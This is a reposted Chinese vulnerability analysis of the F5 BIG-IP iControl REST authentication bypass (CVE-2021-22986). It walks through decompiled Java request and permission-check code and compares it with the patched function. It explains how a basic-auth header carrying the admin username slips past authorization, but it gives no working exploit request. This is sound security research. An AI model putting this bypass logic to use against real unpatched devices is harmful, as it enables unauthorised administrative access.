RestWorker worker = null;            worker = findWorker(request, server);if (worker == null) {                String sanatizePath = sanitizePath(uri.getPath());                String message = String.format("URI path %s not registered.  Please verify URI is supported and wait for /available suffix to be responsive.", sanatizePath);                RestErrorResponse errorResponse = RestErrorResponse.create().setCode(404L).setMessage(message).setReferer(request.getReferer()).setRestOperationId(request.getId()).setErrorStack((List)null);                request.setIsRestErrorResponseRequired(false);                request.setBody(errorResponse);                request.fail(new RestWorkerUriNotFoundException(message));return true;            }try {                worker.onRequest(request);            } finally {                ApiUsageData.addUsage(BUCKET.MESSAGE, request.getMethod(), worker.getUri().getPath());            }        } catch (Exception var11) {            LOGGER.severe("e:" + var11.getMessage());            request.fail(var11);        }return true;    }

这里,基础的配置设置完成后,会调用worker.onRequest(request)

protected void onRequest(RestOperation request, String key) {if (request != null) {            boolean toDispatch = this.dispatchOrQueue(request, key);if (toDispatch) {this.requestReadyQueue.add(request);this.getServer().scheduleRequestProcessing(this);            }        }    }

将此request加入到requestReadyQueue中去,然后scheduleRequestProcessing

public void scheduleRequestProcessing(RestWorker worker) {if (this.readyWorkerSet.add(worker)) {        RestThreadManager.getNonBlockingPool().execute(this.processRequestsTask);    }}

然后会调用processRequestsTask来处理这个请求,这个processRequestsTask在前边已经明确定义

public RestServer(int port, JettyHost jettyHost) {this.pathToWorkerMap = new ConcurrentSkipListMap();this.workerToCollectionPathsMap = new ConcurrentSkipListMap();this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);this.supportWorkersStarted = false;this.allowStackTracesInPublicResponse = false;this.storageUri = null;this.configIndexUri = null;this.groupResolverUri = null;this.deviceResolverUri = null;this.forwarderUri = null;this.machineId = null;this.discoveryAddress = null;this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);this.readyWorkerSet = new ConcurrentSkipListSet();this.indexRebuildCoordinator = new RunnableCoordinator(1);this.forwardRequestValidator = null;if (port < 0) {throw new IllegalArgumentException("port");    } else {this.listenPort = port;this.jettyHost = jettyHost;this.processRequestsTask = new Runnable() {public void run() {                RestServer.this.processQueuedRequests();            }        };    }}

所以直接去看processQueuedRequests的处理即可,从队列中依次取出需要处理的request,挨个处理

private void processQueuedRequests() {    ArrayList workersWithMoreWork = new ArrayList();while(true) {        RestWorker worker = (RestWorker)this.readyWorkerSet.pollFirst();if (worker == null) {            Iterator i$ = workersWithMoreWork.iterator();while(i$.hasNext()) {                RestWorker w = (RestWorker)i$.next();this.scheduleRequestProcessing(w);            }return;        }        boolean doContinue = false;for(int i = 0; i < 100; ++i) {            RestOperation request = worker.pollReadyRequestQueue();if (request == null) {                doContinue = true;break;            }            worker.callRestMethodHandler(request);        }if (!doContinue && worker.requestAreWaitingInReadyQueue()) {            workersWithMoreWork.add(worker);        }    }}

可以看到,队列中取出 request后会调用callRestMethodHandler去处理

protected final void callRestMethodHandler(RestOperation request) {try {boolean updateStats = RestHelper.isOperationTracingEnabled() && !this.isHelper();            RestMethod method = request.getMethod();boolean hasParameters = !request.getParameters().isEmpty();long startTimeMicroSec = 0L;            RestWorkerStats stats;if (updateStats) {                startTimeMicroSec = RestHelper.getNowMicrosUtc();                stats = this.getStats();if (stats != null) {                    stats.incrementRequestCountForMethod(method, hasParameters);                }            }this.callDerivedRestMethod(request, method, hasParameters);if (updateStats) {                stats = this.getStats();if (stats != null) {                    stats.incrementMovingAverageRequestCountForMethod(method, RestHelper.getNowMicrosUtc() - startTimeMicroSec, hasParameters);                }            }        } catch (Exception var9) {            Exception e = var9;try {if (e instanceof JsonSyntaxException && (e.getCause() instanceof IllegalStateException || e.getCause() instanceof MalformedJsonException || e.getCause() instanceof EOFException)) {                    LOGGER.fine("JSON parsing exception error, will execute XSS validation");this.handleXSSAttack(request, e.getLocalizedMessage());                }                String exceptionMsgWithStack = RestHelper.throwableStackToString(e);                LOGGER.warning(String.format("dispatch to worker %s caught following exception: %s", this.getUri(), exceptionMsgWithStack));            } catch (Exception var8) {                LOGGER.severe("Failed to log exception in callRestMethodHandler");            }            request.fail(var9);        }    }

做一些判断后会调用callDerivedRestMethod函数

protected void callDerivedRestMethod(RestOperation request, RestMethod method, boolean hasParameters) {    switch(method) {    case GET:if (hasParameters) {this.onQuery(request);        } else {this.onGet(request);        }break;    case PATCH:this.onPatch(request);break;    case POST:this.onPost(request);break;    case PUT:this.onPut(request);break;    case DELETE:this.onDelete(request);break;    case OPTIONS:        String origin = request.getAdditionalHeader(Direction.REQUEST, "Origin");if (origin != null && !origin.isEmpty()) {            request.getAdditionalHeaders(Direction.RESPONSE).addCORSResponseAllowMethodsHeader(this.getAllowedHttpMethods());        }this.onOptions(request);break;default:        request.fail(new UnsupportedOperationException());    }}

根据request_method分发,我们去看onPost的实现

这里一定要注意一点,此时的this并不是RestWorker对象,而是ForwarderPassThroughWorker对象,具体要向前回溯去看实例化的过程,但是太麻烦,简易直接通过动态调试,一目了然

protected void onPost(RestOperation request) {this.onForward(request);}

继续向下追ForwarderPassThroughWorker中的onForward

private void onForward(final RestOperation request) {final ForwarderWorkerRequest mapping = this.forwarder.findMapping(request.getUri().getPath());if (mapping == null) {        request.setStatusCode(400);this.failRequest(request, this.getUriNotRegisteredException(request));    } else {if (this.isExternalRequest(request)) {            ForwardRequestValidator validator = this.getServer().getForwardRequestValidator();if (validator != null) {try {                    validator.validateRequest(request);                } catch (Exception var7) {this.failRequest(request, var7);return;                }            }            switch(mapping.apiStatus) {            case DEPRECATED:                request.setResourceDeprecated(true);if (!isDeprecatedApiAllowed) {                    request.setStatusCode(404);this.failRequest(request, this.getUriNotRegisteredException(request));this.logApiNotAvailable(request.getUri().getPath(), "deprecate");return;                }this.logApiAccessFailure(isLogDeprecatedApiAllowed, request.getUri().getPath(), "deprecate");break;            case EARLY_ACCESS:                request.setResourceEarlyAccess(true);if (!isEarlyAccessApiAllowed) {                    request.setStatusCode(404);this.failRequest(request, this.getUriNotRegisteredException(request));this.logApiNotAvailable(request.getUri().getPath(), "earlyAccess");return;                }this.logApiAccessFailure(isLogEarlyAccessApiAllowed, request.getUri().getPath(), "earlyAccess");break;            case TEST_ONLY:if (!isTestOnlyApiAllowed) {                    request.setStatusCode(404);this.failRequest(request, this.getUriNotRegisteredException(request));this.logApiNotAvailable(request.getUri().getPath(), "testOnly");return;                }this.logApiAccessFailure(isLogTestOnlyApiAllowed, request.getUri().getPath(), "testOnly");break;            case INTERNAL_ONLY:                request.setStatusCode(404);this.failRequest(request, this.getUriNotRegisteredException(request));            case NO_STATUS:            case GA:break;default:this.failRequest(request, new IllegalStateException("Unknown API Availabilty type"));return;            }        }        CompletionHandler<Void> completion = new CompletionHandler<Void>() {public void completed(Void dummy) {                ForwarderPassThroughWorker.this.cloneAndForwardRequest(request, mapping);            }public void failed(Exception exception, Void dummy) {                ForwarderPassThroughWorker.this.failRequest(request, exception);                AuditLog.auditLog(request, false);            }        };        boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");if (isPasswordExpired) {            String expiredPasswordUriPath = request.getUri().getPath();            boolean isPasswordRequestValid = this.passwordRequestIsOnlyToPermittedURI(expiredPasswordUriPath, request) && this.passwordRequestOnlyContainsPermittedFields(request) && this.userChangingSelfPassword(expiredPasswordUriPath, request);if (!isPasswordRequestValid) {                request.setStatusCode(401);this.failRequest(request, new SecurityException(CHANGE_PASSWORD_NOTIFICATION));this.logExpiredPassword(expiredPasswordUriPath);return;            }        }        boolean isRBACDisabled = this.getProperties().getAsBoolean("rest.common.RBAC.disabled");if (isRBACDisabled) {            completion.completed((Object)null);        } else {            EvaluatePermissions.evaluatePermission(request, completion);        }    }}

经过动态调试,前边的分支都进不去,会进入EvaluatePermissions.evaluatePermission(request, completion)

public static void evaluatePermission(final RestOperation request, final CompletionHandler<Void> finalCompletion) {
if (roleEval == null) {
throw new IllegalArgumentException("roleEval may not be null.");
} else {
if (request.getReferer() == null) {
request.setReferer(request.getRemoteSender());
}

String authToken = request.getXF5AuthToken();
if (authToken == null) {
completeEvaluatePermission(request, (AuthTokenItemState)null, finalCompletion);
} else {
RestRequestCompletion completion = new RestRequestCompletion() {
public void completed(RestOperation tokenRequest) {
AuthTokenItemState token = (AuthTokenItemState)tokenRequest.getTypedBody(AuthTokenItemState.class);
EvaluatePermissions.completeEvaluatePermission(request, token, finalCompletion);
}

public void failed(Exception exception, RestOperation tokenRequest) {
String error = "X-F5-Auth-Token does not exist.";
EvaluatePermissions.setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), (Object)null);
}
};
RestOperation tokenRequest = RestOperation.create().setUri(UrlHelper.extendUriSafe(UrlHelper.buildLocalUriSafe(authzTokenPort, new String[]{WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH}), new String[]{authToken})).setCompletion(completion);
RestRequestSender.sendGet(tokenRequest);
}
}}

此处,获取到的authToken为null,所以会进入completeEvaluatePermission

private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler<Void> finalCompletion) {if (token != null) {if (token.expirationMicros < RestHelper.getNowMicrosUtc()) {String error = "X-F5-Auth-Token has expired.";            setStatusUnauthorized(request);            finalCompletion.failed(new SecurityException(error), (Object)null);return;        }        request.setXF5AuthTokenState(token);    }    request.setBasicAuthFromIdentity();if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestMethod.POST)) {        finalCompletion.completed((Object)null);    } else if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_LOGIN_WORKER, "available"})) && request.getMethod().equals(RestMethod.GET)) {        finalCompletion.completed((Object)null);    } else {        final RestReference userRef = request.getAuthUserReference();        final String path;if (RestReference.isNullOrEmpty(userRef)) {            path = "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender();            setStatusUnauthorized(request);            finalCompletion.failed(new SecurityException(path), (Object)null);        } else if (AuthzHelper.isDefaultAdminRef(userRef)) {            finalCompletion.completed((Object)null);        } else {if (UrlHelper.hasODataInPath(request.getUri().getPath())) {                path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));            } else {                path = UrlHelper.normalizeUriPath(request.getUri().getPath());            }            final RestMethod verb = request.getMethod();if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) {String filterField = request.getParameter("$filter");if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {                    finalCompletion.completed((Object)null);return;                }            }if (token != null && path.equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token}))) {                finalCompletion.completed((Object)null);            } else {                roleEval.evaluatePermission(request, path, verb, new CompletionHandler<Boolean>() {public void completed(Boolean result) {if (result) {                            finalCompletion.completed((Object)null);                        } else {String error = "Authorization failed: user=" + userRef.link + " resource=" + path + " verb=" + verb + " uri:" + request.getUri() + " referrer:" + request.getReferer() + " sender:" + request.getRemoteSender();                            EvaluatePermissions.setStatusUnauthorized(request);                            finalCompletion.failed(new SecurityException(error), (Object)null);                        }                    }public void failed(Exception ex, Boolean result) {                        request.setBody((String)null);                        request.setStatusCode(500);String error = "Internal server error while authorizing request";                        finalCompletion.failed(new Exception(error), (Object)null);                    }                });            }        }    }}

向下运行,会进入else if (AuthzHelper.isDefaultAdminRef(userRef))这个判断,由于现有reference是根据admin这个username生成的,所以会进入这个判断,成功继续向下运行,绕过判断。

修复

使用idea可以针对两个jar包开展比对,选中两个jar包后按command+D即可

经比较,发现RestOperationIdentifier类中的setIdentityFromBasicAuth函数变化较大

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

原代码:

private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
return true;
}
}

更新后代码:

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {        String authHeader = request.getBasicAuthorization();if (authHeader == null) {return false;        } else {final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);            String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");if (xForwardedHostHeaderValue == null) {                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);if (runnable != null) {                    runnable.run();                }return true;            } else {                String[] valueList = xForwardedHostHeaderValue.split(", ");int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {                        request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);if (runnable != null) {                            runnable.run();                        }return true;                    } else {boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {                            AuthProviderLoginState loginState = new AuthProviderLoginState();                            loginState.username = components.userName;                            loginState.password = components.password;                            loginState.address = request.getRemoteSender();                            RestRequestCompletion authCompletion = new RestRequestCompletion() {public void completed(RestOperation subRequest) {                                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);if (runnable != null) {                                        runnable.run();                                    }                                }public void failed(Exception ex, RestOperation subRequest) {                                    RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});if (ex.getMessage().contains("Password expired")) {                                        request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));                                    }if (runnable != null) {                                        runnable.run();                                    }                                }                            };try {                                RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);                                RestRequestSender.sendPost(subRequest);                            } catch (URISyntaxException var11) {                                LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});                            }return true;                        } else {                            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);if (runnable != null) {                                runnable.run();                            }return true;                        }                    }                } else {                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);if (runnable != null) {                        runnable.run();                    }return true;                }            }        }    }static {        TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";    }}

修复后的代码针对请求的ip做了筛选,如果是127.0.0.1,或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用口令密码重新验证。

参考

  1. CVE-2021-22986:F5 BIG-IP iControl REST未授权远程命令执行漏洞分析

  2. F5从认证绕过到远程代码执行漏洞分析

  3. F5 BIGIP iControl REST CVE-2021-22986漏洞分析与利用

  4. 从滥用HTTP hop by hop请求头看CVE-2022-1388

F5 BIGIP CVE-2021-22986认证绕过漏洞分析
F5 BIGIP CVE-2021-22986认证绕过漏洞分析
F5 BIGIP CVE-2021-22986认证绕过漏洞分析

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识

原文始发于微信公众号(长白山攻防实验室):F5 BIGIP CVE-2021-22986认证绕过漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日14:49:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   F5 BIGIP CVE-2021-22986认证绕过漏洞分析https://cn-sec.com/archives/1118638.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息